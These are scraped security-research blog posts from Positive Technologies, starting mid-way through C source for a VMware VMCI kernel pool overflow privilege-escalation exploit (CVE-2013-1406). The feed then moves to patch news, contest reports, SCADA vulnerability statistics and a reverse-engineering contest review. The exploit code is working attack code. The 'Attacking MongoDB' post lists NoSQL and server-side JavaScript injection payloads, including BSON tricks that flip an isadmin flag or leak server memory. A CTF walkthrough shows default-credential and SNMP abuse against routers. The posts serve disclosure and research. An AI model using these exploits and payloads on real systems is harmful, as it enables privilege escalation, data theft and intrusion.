            iObjectsNeeded =(0x218/ dwSemaphoreSize)+((0x218% dwSemaphoreSize !=0)?1:0);if(// Not on a page boundary((dwTestObjAddr &0xFFF)!=0)&&// Doesn't cross page boundary(((dwTestObjAddr +0x300)&0xF000)==(dwTestObjAddr &0xF000))){// Check previous object for being our semaphore
                DWORD_PTR dwPrevObject = dwTestObjAddr - dwSemaphoreSize;if(LookupObjectHandle(pHandleTable,(PVOID)dwPrevObject)==NULL){continue;}for(unsignedint j =1; j < iObjectsNeeded; j++){
                    DWORD_PTR dwNextTestAddr = dwTestObjAddr +(j * dwSemaphoreSize);HANDLE hLookedUp = LookupObjectHandle(pHandleTable,(PVOID)dwNextTestAddr);//printf("dwTestObjPtr = %08X, dwTestObjHandle = %08X\n", dwTestObjAddr, dwTestHandleVal);//printf("\tdwTestNeighbour = %08X\n", dwNextTestAddr);//printf("\tLooked up handle = %08X\n", hLookedUp);if(hLookedUp !=NULL){
                        hHandlesToClose[j]= hLookedUp;if(j == iObjectsNeeded -1){// Now test the following object
                            dwNextTestAddr = dwTestObjAddr +((j +1)* dwSemaphoreSize);if(LookupObjectHandle(pHandleTable,(PVOID)dwNextTestAddr)!=NULL){
                                hHandlesToClose[0]=(HANDLE)dwTestHandleVal;
                                bPoolWindowFound =true;

                                dwWindowAddress = dwTestObjAddr;// Close handles to create a memory windowfor(int k =0; k < iObjectsNeeded; k++){if(hHandlesToClose[k]!=NULL){CloseHandle(hHandlesToClose[k]);
                                        CloseTableHandle(pHandleTable, hHandlesToClose[k]);}}}else{memset(hHandlesToClose,0,sizeof(hHandlesToClose));break;}}}else{memset(hHandlesToClose,0,sizeof(hHandlesToClose));break;}}if(bPoolWindowFound){printf("\t[+] Window found at %08X!\n", dwWindowAddress);}}}}VirtualFree(pBuf,0, MEM_RELEASE);return;}void InitFakeBuf(PVOID pBuf,DWORD dwSize){if(pBuf !=NULL){
        RtlFillMemory(pBuf, dwSize,0x11);}return;}void PlaceFakeObjects(PVOID pBuf,DWORD dwSize,DWORD dwStep){/*        Previous chunk size will be always 0x43 and the pool index will be 0, so the last bytes will be 0x0043        So, for every 0xXXXX0043 address we must suffice the following conditions:        lea        edx, [eax+38h]        lock    xadd [edx], ecx        cmp        ecx, 1        Some sort of lock at [addr + 38] must be equal to 1. And        call    dword ptr [eax+0ACh]        The call site is located at [addr + 0xAC]        Also fake the object to be dereferenced at [addr + 0x100]    */if(pBuf !=NULL){for(PUCHAR iAddr =(PUCHAR)pBuf +0x43; iAddr <(PUCHAR)pBuf + dwSize; iAddr = iAddr + dwStep){PDWORD pLock =(PDWORD)(iAddr +0x38);
            PDWORD_PTR pCallMeMayBe =(PDWORD_PTR)(iAddr +0xAC);
            PDWORD_PTR pFakeDerefObj =(PDWORD_PTR)(iAddr +0x100);*pLock =1;*pCallMeMayBe =(DWORD_PTR)FireShell;*pFakeDerefObj =(DWORD_PTR)pBuf +0x1000;}}return;}void PenetrateVMCI(){/*        VMware Security Advisory        Advisory ID:    VMSA-2013-0002        Synopsis:    VMware ESX, Workstation, Fusion, and View VMCI privilege escalation vulnerability        Issue date:    2013-02-07        Updated on:    2013-02-07 (initial advisory)        CVE numbers:    CVE-2013-1406    */DWORD dwPidToElevate =0;HANDLE hSuspThread =NULL;bool bXP =(LOBYTE(GetVersion())==5);bool b7 =((LOBYTE(GetVersion())==6)&&(HIBYTE(LOWORD(GetVersion()))==1));bool b8 =((LOBYTE(GetVersion())==6)&&(HIBYTE(LOWORD(GetVersion()))==2));if(!InitKernelFuncs()){printf("[-] Like I don't know where the shellcode functions are\n");return;}if(bXP){printf("[?] Who do we want to elevate?\n");
        scanf_s("%d",&dwPidToElevate);

        hProcessToElevate =OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, dwPidToElevate);if(hProcessToElevate ==NULL){printf("[-] This process doesn't want to be elevated\n");return;}}if(b7 || b8){// We are unable to change an active process token on-the-fly,// so we create a custom shell suspended (Ionescu hack)STARTUPINFO si ={0};PROCESS_INFORMATION pi ={0};

        si.wShowWindow = TRUE;WCHAR cmdPath[MAX_PATH]={0};GetSystemDirectory(cmdPath, MAX_PATH);
        wcscat_s(cmdPath, MAX_PATH,L"\\cmd.exe");if(CreateProcess(cmdPath,L"",NULL,NULL, FALSE, CREATE_SUSPENDED | CREATE_NEW_CONSOLE,NULL,NULL,&si,&pi)== TRUE){
            hProcessToElevate = pi.hProcess;
            hSuspThread = pi.hThread;}}HANDLE hVMCIDevice =CreateFile(L"\\\\.\\vmci", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE,NULL, OPEN_EXISTING,NULL,NULL);if(hVMCIDevice != INVALID_HANDLE_VALUE){UCHAR BadBuff[0x624]={0};UCHAR retBuf[0x624]={0};DWORD dwRet =0;printf("[+] VMCI service found running\n");

        PVM_REQUEST pVmReq =(PVM_REQUEST)BadBuff;
        pVmReq->Header.RequestSize =0xFFFFFFF0;PVOID pShellSprayBufStd =NULL;PVOID pShellSprayBufQtd =NULL;PVOID pShellSprayBufStd7 =NULL;PVOID pShellSprayBufQtd7 =NULL;PVOID pShellSprayBufChk8 =NULL;if((b7)||(bXP)||(b8)){/*                Significant bits of a PoolType of a chunk define the following regions:                0x0A000000 - 0x0BFFFFFF - Standard chunk                0x1A000000 - 0x1BFFFFFF - Quoted chunk                0x0 - 0xFFFFFFFF - Free chunk - no idea                Addon for Windows 7:                Since PoolType flags have changed, and "In use flag" is now 0x2,                define an additional region for Win7:                0x04000000 - 0x06000000 - Standard chunk                0x14000000 - 0x16000000 - Quoted chunk            */
            pShellSprayBufStd =VirtualAlloc((LPVOID)0xA000000,0x2000000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
            pShellSprayBufQtd =VirtualAlloc((LPVOID)0x1A000000,0x2000000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
            pShellSprayBufStd7 =VirtualAlloc((LPVOID)0x4000000,0x2000000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
            pShellSprayBufQtd7 =VirtualAlloc((LPVOID)0x14000000,0x2000000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);if((pShellSprayBufQtd ==NULL)||(pShellSprayBufQtd ==NULL)||(pShellSprayBufQtd ==NULL)||(pShellSprayBufQtd ==NULL)){printf("\t[-] Unable to map the needed memory regions, please try running the app again\n");CloseHandle(hVMCIDevice);return;}

            InitFakeBuf(pShellSprayBufStd,0x2000000);
            InitFakeBuf(pShellSprayBufQtd,0x2000000);
            InitFakeBuf(pShellSprayBufStd7,0x2000000);
            InitFakeBuf(pShellSprayBufQtd7,0x2000000);

            PlaceFakeObjects(pShellSprayBufStd,0x2000000,0x10000);
            PlaceFakeObjects(pShellSprayBufQtd,0x2000000,0x10000);
            PlaceFakeObjects(pShellSprayBufStd7,0x2000000,0x10000);
            PlaceFakeObjects(pShellSprayBufQtd7,0x2000000,0x10000);if(SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL)== FALSE){SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_HIGHEST);}

            PoolSpray();if(DeviceIoControl(hVMCIDevice,0x8103208C, BadBuff,sizeof(BadBuff), retBuf,sizeof(retBuf),&dwRet,NULL)== TRUE){printf("\t[!] If you don't see any BSOD, you're successful\n");if(b7 || b8){ResumeThread(hSuspThread);}}else{printf("[-] Not this time %d\n",GetLastError());}if(pShellSprayBufStd !=NULL){VirtualFree(pShellSprayBufStd,0, MEM_RELEASE);}if(pShellSprayBufQtd !=NULL){VirtualFree(pShellSprayBufQtd,0, MEM_RELEASE);}}SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_NORMAL);CloseHandle(hVMCIDevice);}else{printf("[-] Like I don't see vmware here\n");}CloseHandle(hProcessToElevate);return;}
References
[1] Tarjei Mandt. Kernel Pool Exploitation on Windows 7. Black Hat DC, 2011
[2] Nikita Tarakanov. Kernel Pool Overflow from Windows XP to Windows 8. ZeroNights, 2011
[3] Kostya Kortchinsky. Real world kernel pool exploitation. SyScan, 2008
[4] SoBeIt. How to exploit Windows kernel memory pool. X’con, 2005

Video Demonstration:



Author: Artem Shishkin, Positive Research.

Siemens Fixes Vulnerabilities Detected by Positive Technologies

$
0
0
Siemens has issued several patches for a series of critical vulnerabilities in its products. Security problems were detected in ICS components — development tools and HMI. More than ten vulnerabilities were eliminated. Insecure password storage, buffer overflow, and possibility of creating bookmarks in the SCADA project files were among them.

The updates deal with Siemens SIMATIC PC7, WinCC and TIA Portal and focus on elimination of security problems detected by the experts of Positive Technologies. It is worth reminding that WinCC Hardening Guides, which can be used as technical security standards for system configuration or as security checklists for audit, had been earlier published in the blog of Positive Technologies Research Center.

Siemens thanked the specialists of Positive Technologies, namely Sergey Bobrov, Sergey Gordeychik, Gleb Gritsay, Roman Ilin, Ilya Karpov, Dmitry Nagibin, Alexey Osipov, Artyom Chaykin and Timur Yunusov. Moreover, the Industrial Control Systems Cyber Emergency Response Team (ICS-CERT) highly rated the research performed by our experts and issued the relevant advisory.

Several new attack vectors eliminated by Siemens were presented by the experts of Positive Technologies at the conference Black Hat Europe that took place in Amsterdam in the middle of March.

"Elimination of these vulnerabilities results from the research of ICS components security performed by our research center. Design of critical elements is impossible if untrusted or insecure components are used in production systems. Our aim is to increase the security level of ICS systems, so we'll keep on working in this direction," said Sergey Gordeychik, the Chief Technical Officer.

PHDays III — Ticket Sale Has

$
0
0
Ticket sale for the international forum on practical security PHDays III started on Monday, April 8. Registration and tickets are available here. A ticket bought until May 1 will cost 9,600 rubles per two days and 7,100 rubles per a day.

After May 1 the price of a ticket will increase up to 13,700 rubles per two days and 9,600 rubles per a day.It is worth reminding that there are other ways to join the forum beside the ticket purchase — just prove yourself in any of the contests (keep up with the news on the official website) or become a speaker registering via Call for Papers until April 14.


Similarly to the forum held last year, anyone, who wants to, can organize PHDays in their own city — study the requirements to the participants of PHDays Everywhere at first. Live broadcast will be available for all Internet users.

Find the details about the ways of participation in PHDays III on the forum's website.

Positive Technologies Experts Win HITBSecConf CTF 2013

$
0
0
The [TechnoPandas] team, which consists of the Positive Technologies specialists, took first place at the CTF contests, which were held during HITBSecConf in Amsterdam.

During the whole two days (they stopped just for a nap break), the teams competed in task-based CTF. The organizer of the contests was a well-known Dutch team named Eindbazen, which took part in PHDays 2012 and has been invited to PHDays III.

Some of Eindbazen also participated in HITBSecConf CTF as members of other teams. hack.ERS being one of such teams took second place. Third place went to More Smoked Leet Chicken, a Russian team that consists of former Leet More and Smoked Chicken. Note that it was the Leet More members who won PHDays CTF 2012.

Almost at the very beginning [TechnoPandas] came to the fore preventing other participants from taking the lead and, eventually, took first place. However, hack.ERS and More Smoked Leet Chicken were found struggling hard for second place.

Scoreboard

HITBSecConf is a conference devoted to information security issues. The conference is held twice a year: once in Amsterdam and once in Kuala Lumpur, Malaysia. In April in the capital of the Netherlands, the fourth conference was held. Apart from CTF contests, the program included numerous reports and hands-on labs oriented towards different aspects of information security.

Attacking MongoDB

$
0
0
I'm not going to describe the way a database is installed: developers make everything possible to ease this process even without using manuals. Let's focus on features that seem really interesting. The first thing is a REST interface. It is a web interface, which runs by default on port 28017 and allows an administrator to control their databases remotely via a browser. Working with this DBMS option, I found several vulnerabilities: two stored XSS vulnerabilities, undocumented SSJS (Server Side Java Script) code execution, and multiple CSRF.

I'm going to detail the above mentioned vulnerabilities.  The fields Clients and Log have two stored XSS vulnerabilities. It means that making any request with HTML code to the database, this code will be written to the source code of the page of the REST interface and will be executed in a browser of a person, who will visit this page. These vulnerabilities make the following attack possible:

  1. Send a request with the tag SCRIPT and JS address.
  2. An administrator opens the web interface in a browser, and the JS code gets executed in this browser.
  3. Request command execution from the remote server via the JSONP script.
  4. The script performs the command using undocumented SSJS code execution.
  5. The result is sent to our remote host, where it is written to a log.

As to undocumented SSJS code execution, I've written a template, which can be modified as may seem necessary.

http://vuln-host:28017/admin/$cmd/?filter_eval=function(){ return db.version() }&limit=1

It is well known that it is necessary to have a driver, which will serve as transport, to work with any significant database written in a script language, for instance PHP.  I decided to take a close look at these drivers for MongoDB and chose a driver for PHP.

Suppose there is a completely configured server with Apache+PHP+MongoDB and a vulnerable script.
The main fragments of this script are as follows:

$q = array("name" => $_GET['login'], "password" => $_GET['password']);
$cursor = $collection->findOne($q);

The script makes a request to the MongoDB database when the data has been received. If the data is correct, then it receives an array with the user's data output. It looks as follows:

echo 'Name: ' . $cursor['name'];
echo 'Password: ' . $cursor['password'];

Suppose the following parameters have been sent to it (True):

?login=admin&password=pa77w0rd

Then the request to the database will look as follows:

db.items.findOne({"name" :"admin", "password" : "pa77w0rd"})

Due to the fact that the database contains the user admin with the password pa77w0rd, then its data is output as a response (True). If another name or password is used, then the response will return nothing (False).

There are conditions in MongoDB similar to the common where except for few differences in syntax.  Thus it is necessary to write the following to output records, which names are not admin, from the table items:

db.items.find({"name" :{$ne : "admin"}})

PHP only requires another array to put it into the other one, which is sent by the function findOne.
Let's proceed from theory to practice.  At first, create a request, which sample will comply with the following conditions: password is not 1 and user is admin.

db.items.findOne({"name" :"admin", "password" : {$ne : "1"}})

It will look as follows in PHP:

$q = array("name" => "admin", "password" => array("\$ne" => "1"));

It is only needed to declare the variable password as an array for exploitation:

?login=admin&password[$ne]=1

Consequently, the admin data is output (True). This problem can be solved by the function is_array() and by bringing input arguments to the string type.

Another vulnerability typical of MongoDB and PHP if used together is related to injection of your data to a SSJS request made to a server.

I'll use code to exemplify it. Assume that INSERT looks as follows:

$q = "function() { var loginn = '$login'; var passs = '$pass'; db.members.insert({id : 2, login : loginn, pass : passs}); }";

An important condition is that the variables $pass and $login are taken directly from the array $_GET and are not filtered (yes, it's an obvious fail, but it's very common):

Send test data:

?login=user&password=password

Receive the following data in response:

Your login:user
Your password:password

Let's try to exploit the vulnerability, which presupposes that data sent to a parameter is not filtered or verified.

Rewrite loginn variable:

?login=user&password=1'; var loginn = db.version(); var b='

The first thing we want is to read other records. A simple request is at help:

/?login=user&password= '; var loginn = tojson(db.members.find()[0]); var b='2

Of course, it may happen that there will be no output, then it will be needed to use a time-based technique, which is based on a server response delay depending on a condition (true/false), to receive data.  Here is an example:

?login=user&password='; if (db.version() > "2") { sleep(10000); exit; } var loginn =1; var b='2

It is well known that MongoDB allows creating users for a specific database. Information about users in databases is stored in the table db.system.users. We are mostly interested in the fields user and pwd of the above mentioned table. The user column contains a user login, pwd - MD5 string ?%login%:mongo:%password%?, where login and password are the login and hash of the login, key, and user password.

All data is transferred unencrypted and packet hijacking allows obtaining specific data necessary to receive user's name and password. It is needed to hijack nonce, login, and key sent by a client when authorizing on the MongoDB server. Key contains an MD5 string of the following form: ”%nonce% + %login% + md5(%login% + ":mongo:" + %passwod%)”.

Let's move further and consider another type of vulnerabilities based on wrong parsing of a BSON object transferred in a request to a database.

A few words about BSON at first. BSON (Binary JavaScript Object Notation) is a computer data interchange format used mainly as a storage of various data (Bool, int, string, and etc.). Assume there is a table with two records:

> db.test.find({})
{ "_id" : ObjectId("5044ebc3a91b02e9a9b065e1"), "name" : "admin", "isadmin" : true }
{ "_id" : ObjectId("5044ebc3a91b02e9a9b065e1"), "name" : "noadmin", "isadmin" : false }

And a database request, which can be injected:

>db.test.insert({ "name" : "noadmin2", "isadmin" : false})

Just insert a crafted BSON object to the column name:

>db.test.insert({ "name\x16\x00\x08isadmin\x00\x01\x00\x00\x00\x00\x00" : "noadmin2", "isadmin" : false})

0x08 before isadmin specifies that the data type is boolean and 0x01 sets the object value as true instead of false assigned by default. The point is that, dealing with variable types, it is possible to rewrite data rendered automatically with a request.

Now let's see what there is in the table:

> db.test.find({})
{ "_id" : ObjectId("5044ebc3a91b02e9a9b065e1"), "name" : "admin", "isadmin" : true }
{ "_id" : ObjectId("5044ebc3a91b02e9a9b065e1"), "name" : "noadmin", "isadmin" : false }
{ "_id" : ObjectId("5044ebf6a91b02e9a9b065e3"), "name" : null, "isadmin" : true, "isadmin" : true }

False has been successfully changed into true!

Let's consider a vulnerability in the BSON parser, which allows reading arbitrary storage areas. Due to incorrect parsing of the length of a BSON document in the column name in the insert command, MongoDB makes it possible to insert a record that will contain a Base64 encrypted storage area of the database server.
Suppose we have a table named dropme and enough privileges to write in it.

> db.dropme.insert({"\x16\x00\x00\x00\x05hello\x00\x010\x00\x00\x00world\x00\x00" : "world"})
> db.dropme.find()
{ "_id" : ObjectId("50857a4663944834b98eb4cc"), "" : null, "hello" : BinData(0,"d29ybGQAAAAACREAAAAQ/4wJSCCPCeyFjQkAOQAsAC...........................ACkALAAgACIAFg==") }

It happens because the length of the BSON object is incorrect - 0x010 instead of 0x01. When Base64 code is decrypted, we receive bytes of random server storage areas.


The NetHack Challenge Detailed Review

$
0
0
During the Positive Hack Days III forum, the NetHack competition for experts in network security was held. The participants were to obtain access to five network devices and capture flags stored in the devices during 50 minutes. The game network included typical network infrastructure vulnerabilities discovered by the Positive Technologies experts during security analysis and penetration tests. Today we would like to bring to you attention a detailed review of the contest tasks.


Legend

To add a special appeal to the contest, the game infrastructure was prepared according to a legend. Here it is.


An equipment crash has occurred on a large hydroelectric power station, resulting in the loss of connection between the central Industrial Control System (ICS) and water discharge units. Ongoing showers in the nearby territories significantly increased water inflow to the storage pond. Specialists estimate that the pond will be overflown in fifty minutes, the water will pour over the dam flooding the city. To prevent the disaster, one should obtain access to the five faulty units and reconnect them to the central ICS, ensuring the possibility of opening emergency sluices.


The contest layout

The game infrastructure was built according to the following layout:


The participants were to get access to five network devices, find md5 flags left in their configuration and enter them into a form on a special web page. The participant who found and entered all five flags was awarded the first prize.


Obtaining the first flag

Entrance in R1 is easy, we just need to use the account 'cisco' with the password 'cisco'. We get the first flag at once:




Obtaining the second flag

To obtain the second flag we need certain skills. The first thing we should do once we entered into the device is to look through configuration and neighboring devices in the network.


 


We find out that we are connected to Router3 via Fa0/1. Router2 is missing and we can see too many interfaces. Both of these facts sound suspicious, so we execute the following command:

 

The Fa1/10 interface is administratively shut down, which is very strange. After opening up the interface, we look at the neighboring devices again.


Finally, we can see Router2. Now we need to find out its IP address.



We're trying to enter the device using the account cisco/cisco. But it is not so easy.
Judging from the response time, we can suggest that a centralized authentication is in use. We find information about radius server in Router1 configuration.



So we need to close radius for Router2. Shutting down the Fa0/1 interface would be enough. Now we try to enter Router2 once again.

 

So we need to close radius for Router2. Shutting down the Fa0/1 interface would be enough. Now we try to enter Router2 once again.



Great! We have entered into the second device and even got more privileges. We are lucky, the password 'enable' was not defined. By looking through the configuration we learn that we have several possible flags. Trying to enter them. Only one line fits as md5, so it is the flag.



Obtaining the third flag

If we try to enter into Router3 using the account cisco/cisco, it won't work. Let's try to find the account we need. Taking another look at Router2 configuration. Now we see the following line:




We can easily get the password, because type 5 is reversible encryption. So the password is Tf7NszYCnd.
Now we are ready for Router3. This time we attempt to enter using a new account 'admin':

  

Perfect. We are in the third host. Searching for our flag:


Obtaining the fourth flag

It is the most difficult part. We enable cdp in the Fa0/1 interface and check the neighboring devices:  


 


Then we try to enter into Router4 and find out that radius is used. We take a long look at Router3 configuration and see writable 'community string PHDays2013'. After changing the routing, we can try to take Router4 configuration using snmp protocol.

We got the configuration and found out that ospf is set on Router4. Now we need to enter our path to radius. We can do it this way:

 

We need to enter into the device using cisco/cisco and find the fourth flag.

 

Obtaining the last flag

We check the neighboring devices, find out Router5 IP address and try to enter via ssh or telnet. Unfortunately, it does not work. We take another look at the configuration and now we see ACL in the outgoing interface Fa0/1 blocking the traffic to Router5 port 80:


  

We remove ACL from the interface, enter the path we need and try to enter:

 

Now we just need to find the flag:

 

The winner

The fighting was stubborn: none of the contestants could take the lead over the rivals. The PHDays forum participants could watch the battle due to special visualization on a large screen in one of the halls.



 

The time assigned for the final was not enough to define the winner, because no one could capture all the flags. As a result, 15 extra minutes were added, which decided the outcome of the contest. In the last seconds of the extra time, Stanislav Mironov, a specialist in network administration (Perm, Russia) managed to capture the fifth flag. Stanislav was the only one who solved the task. Yuri Shkodin took second place, and Sergey Stankevich came third. Participants captured four flags each. Congratulations!

That's all for today! We will be happy to answer your questions.

SCADA Safety in Numbers

$
0
0
Nuclear power plants, hydroelectricity plants, oil and gas pipelines, transport systems (subway and high speed trains) and a great many other vital systems are managed through various computer technologies.

Industry systems’ security gained a great deal of interest after a series of incidents involving the computer viruses Flame and Stuxnet. This was the herald of the age of cyberwarfare. In Russia, there is another reason to consider the security of such systems: new requirements for controllers developed to improve industry systems safety.

To find proper security methods, it is necessary to understand what skills the attacker possesses and what method of attack is to be chosen. In order to answer these questions, the experts of Positive Technologies explored the ICS systems security (ICS/SCADA/PLC). The results are shown below.

Brief statements on the results of the analysis are as follows.

  • For a period of several months in 2012 more SCADA vulnerabilities were discovered than for the previous year; the number of vulnerabilities continues to grow rapidly.
  • Security problems are still detected in the most popular products; approximately 65% of these vulnerabilities are critical.
  • The USA and Europe are the leaders in the number of SCADA vulnerabilities available through the Internet; 40% of such SCADA systems are vulnerable and can be attacked.
  • Most security issues of SCADA systems available through the Internet are related to configuration errors (default passwords) and the lack of updates.

But let us relate everything in due order.

Need for SCADA Systems in Russia

One can imagine the approximate market share of different SCADA vendors after considering the need for specialists with experience in one or another system, protocol, technology or program. The HeadHunter.ru vacancies database was used as a base for analysis. Specialists with experience in dealing with Siemens solutions turned out to be most required. Among the most popular products, four out of six are products from Siemens SIMATIC :

  • Step 7 — PLC automation systems (approx. 22.05%);
  • WinCC and WinCC Flexible — development of the human machine interface (HMI) (18.11% and 3.94% respectively);
  • SIMATIC PC S 7 — building of complex automation systems (7.87%).

The top five also includes InTouch HMI from Wonderware (12.6%) and the Genesis software package from Iconics (5.51%).


The most popular data transmission technologies are presented by Modbus (RTU и TCP/IP) and Profibus/Profinet, and Profibus/Profinet (33% each). Then goes OPC (25%).

Among operating systems used with SCADA, Microsoft Windows is far ahead of other systems; experience in working with this system can be found as a requirement in most job postings for this sphere. Knowledge of QNX and FreeRTOS is stated in an insignificant number of vacancies.

In the programmable logic controller segment (PLC), specialists in Siemens components are the most sought after (approx. 31%). Siemens is followed by Schneider Electric (11%), ABB (9%), Allen-Bradley (7%) and Emerson (5%).

Vulnerabilities Analysis

Vulnerabilities are often published without the developers' approval, so we used data from different sources for our research, for example: vulnerability databases, vendors' notices, exploit packs, specialized conference reports, and articles published on specialized sites and blogs.

Interestingly enough, during the period from 2005 to early 2010, only 9 SCADA vulnerabilities were discovered; after the detection of Stuxnet and all the fuss about it, 64 vulnerabilities were discovered by the end of 2011. For the first 8 months of 2012, 98 new vulnerabilities were reported — more than during all the previous years.

The highest number of vulnerabilities for the reporting period (42) was discovered in the SCADA components developed by Siemens. Second place goes to Broadwin/Advantech (22 vulnerabilities), the third to Schneider Electric (18). As for the SCADA systems and information technologies in general, this state of things is due to the fact that the highest number of vulnerabilities is discovered in the most popular solutions. Moreover, some vendors have only recently started finding and fixing vulnerabilities in their products (Siemens ProductCERT).

Vulnerabilities According to the Type of Software and Hardware Components of SCADA

Such ICS components as SCADA and human machine interface (HMI) systems present a significant interest for attackers: 87 and 49 vulnerabilities were discovered, respectively, in these systems. The experts discovered 20 vulnerabilities in the programmable logic controllers of different vendors for the reporting period.

Types of Vulnerabilities

Almost a third of vulnerabilities (36%) are associated with buffer overflow. This defect in security allows the attacker not only to cause premature ending of a program, or freeze, (which leads to denial of service), but also to execute arbitrary code in the target system. The types of vulnerability which allow the attacker to execute code (Buffer Overflow, Remote Code Execution) make up 50% of all vulnerabilities. We should also consider the large number of problems in Authentication and Key Management — almost 23%.

Percentage of Fixed SCADA Vulnerabilities

Most security defects (81%) are fixed rather efficiently by the vendors of the SCADA component before the defects became widely known or within 30 days of uncoordinated disclosure. Approximately every fifth vulnerability is fixed with a significant delay, or was even not fixed in certain cases.

The percentage of fixed vulnerabilities gives a graphic presentation of how seriously information security issues are taken. For instance, Siemens fixed and released patches for 92% of vulnerabilities, while Schneider Electric fixed only 56% of security defects.

Availability of Information or Software for Conducting Attacks

If ready-to-use tools developed to exploit the vulnerability are available, or if information on the vulnerability is in the public domain, it is more possible that an attack will be conducted successfully. Currently, 35% of all known SCADA vulnerabilities have exploits that are available as single utilities, parts of penetration testing software or are described in security bulletins. The corresponding rate for other IT systems is several times lower.

The number of published vulnerabilities usually correlates with the number of published exploits. During the period from 2011 to September 2012, 50 exploits were published — 6 times as many as for the period from 2005 to 2010.


This rather low number of exploits published in 2012 is due to the following reasons:

  • Regulation of mutual relations between the SCADA vendors and researchers; responsible disclosure policy is applied.
  • There is a clear lag between the publication of vulnerability details and the publication of exploits (certain costs are incurred in developing exploitation tools).

Risk Levels of Detected Vulnerabilities

Almost 65% of vulnerabilities are of high (CVSS v. 2 Base Score is higher than 6.5) or critical (exploit is known) level.

If there are no methods to conduct an attack, the possibility that the system will be attacked is lower but is not ruled out. An attack against an industrial enterprise is conducted with the participation of high-level professionals who do not need exploit packs or other common tools.

Non-fixed Vulnerabilities in SCADA

In a case where an exploitation of the vulnerability already exists but no means of repair has been released, such a vulnerability provides the greatest risk, since an attacker does not need deep knowledge and a long-term preparation period. A schoolboy is able to cause a huge amount of damage. Thus, the SCADA products from Schneider Electriс are in the worst situation — 6 non-fixed vulnerabilities have been discovered. Second place goes to General Electric (3 vulnerabilities); in third place are Advantech/Broadwin and Rockwell Automation (one non-fixed vulnerability).

Popularity of SCADA Systems in the Internet

In order to understand to what extent the vulnerabilities described above can be used by an attacker, research in the global network has been carried out in relation to vulnerable SCADA systems. Passive analysis together with search engines (Google, Yahoo, Bing) and specialized databases such as Shodanhq and Every Routable IP Project were employed to search and check versions of the systems. The information obtained was analyzed from the point of view of vulnerabilities related to configuration management and updates installation.

Almost a third of the SCADA systems, the elements of which can be accessed from the Internet, are located in the USA (31.3%). Italy follows far behind (6.8%), and South Korea completes the top three (6.2%). Russia holds 12th place with 2.3%, and only 1.1% of the SCADA systems available through the global network are located in China.


These results are quite as expected, because the number of available systems directly depends on the degree of infrastructure automation.

Types of SCADA Systems

The global network contains a high proportion of various SCADA components including HMI, which account for 70% of all detected objects. Another 27% of the SCADA components are programmable logic controllers. Various other network devices used in the SCADA networks (Hardware) were detected in 3% of cases.

Types of Vulnerabilities

The most common security flaws are related to configuration errors (detected in 36% of cases). They include incorrect password policy (as well as the use of default passwords), access to sensitive information and erroneous restriction of user rights. A quarter of vulnerabilities are connected with the lack of the necessary security updates.

Percentage of Vulnerable SCADA Systems in Different Countries and Regions

The highest proportion of vulnerable SCADA systems available through the Internet is in Switzerland (100%). Second place is held by the Czech Republic (86%); third, Sweden (67%). 50% of the SCADA systems available through the Internet are vulnerable in Russia.

Europe pays the least attention to the issues of SCADA information security: 54% of industrial automation systems located in this region are vulnerable. Next comes South America (39%), and then Asia (32%), where insecure objects in Taiwan and South Korea are of the essence.

 

"Best Reverser" at PHDays III — Developer's Overview

$
0
0
When we put hand to the contest, we wanted to make it interesting, difficult and feasible at the same time.

We believe that a good reverser should be able to read computer code, convert it to a clear algorithm, find mistakes and flaws of this algorithm, and, if possible, to exploit them. Besides the code provided for analysis should be close to true software code.

The 64-bit Windows version was chosen as a platform, because Hex-Rays Decompiler for x86 makes everything easier and there are no decompilers for x64. And 64-bit applications have become common anyway.

So a small program with Qt (and static libraries) was developed. And the executable file was almost 10 MB. But is it unbearable for a talented reverser? Though, according to feedback, the file size scared some participants. On the other hand, Qt leaves a lot of useful information, and a reverser must know how to separate the wheat from the chaff...

The program required two dynamic libraries (msvcp110.dll and msvcr110.dll) for startup. Some of the participants complained that their program ended with exception. The other participants either had proper settings or were better motivated.

A username and key were requested at the first stage. The program verified data and reported on success or failure. Except for Base64 decoding (which was easily determined by the alphabet string), the main check was written with OpenSSL. The library is useful for a reverser, because it provides source code so that to quickly define almost any function name.

The check function looked as follows in the source code:

phdInt checkDSAsig (BIGNUM *h, BIGNUM *r, BIGNUM*s) {
BN_CTX *ctx = BN_CTX_new();
BIGNUM *g = BN_bin2bn(El_g, sizeof(El_g), NULL);
BIGNUM *p = BN_bin2bn(El_p, sizeof(El_p), NULL);
BIGNUM *y = BN_bin2bn(El_y, sizeof(El_y), NULL);
BIGNUM *v1 = BN_new();
BIGNUM *v2 = BN_new();
BIGNUM *t1 = BN_new();
BIGNUM *t2 = BN_new();
phdInt rc = 0;

if (BN_mod_exp(v1, g, h, p, ctx) && BN_mod_exp(t1, y, r, p, ctx) && BN_mod_exp(t2, r, s, p, ctx) && BN_mod_mul(v2, t1, t2, p, ctx) && 0 == BN_cmp (v1, v2)) rc = 1;

BN_clear_free(t2);
BN_clear_free(t1);
BN_clear_free(v2);
BN_clear_free(v1);
BN_clear_free(y);
BN_clear_free(p);
BN_clear_free(g);
BN_CTX_free(ctx);
return rc;

Some knowledge in cryptography allows identifying that it is the digital signature check by the ElGamal algorithm. The size of the El_p module used for operations is 500 bits and such a signature is considered strong. So there is no direct way to acquire the key.

A specific code branch verified if the key consisted of 6 characters, calculated SHA1, and compared the first 8 bytes with the sequence {0xEE,0xD1,0xAC,0xA8,0xD0,0xCC,0xA3,0x3F}. 6-character strings composed of the Base64 alphabet are only 236 options. If going through all of them (it was unnecessary — one only needed to fix the transition condition), then the Easter egg "PHDays" appeared.

After the egg activation, the program started to do something very actively, but it was hardly possible to see the result. A huge number, the value of which did not exceed El_p, was generated within each iteration, multiplied by El_y modulo El_p, and the result should be 313373. If it happened, the generated number could be used as an encryption key for the RC4 algorithm, and this key was used to decrypt the string with code containing the correct ElGamal signature. In theory, a random number generator would once generate such a byte sequence that would be the necessary RC4 key, but the sun would sooner fall from heaven than this would happen. So we supposed that the participants would obtain the necessary RC4 key by calculating the algebraic complement using the extended Euclidean algorithm.

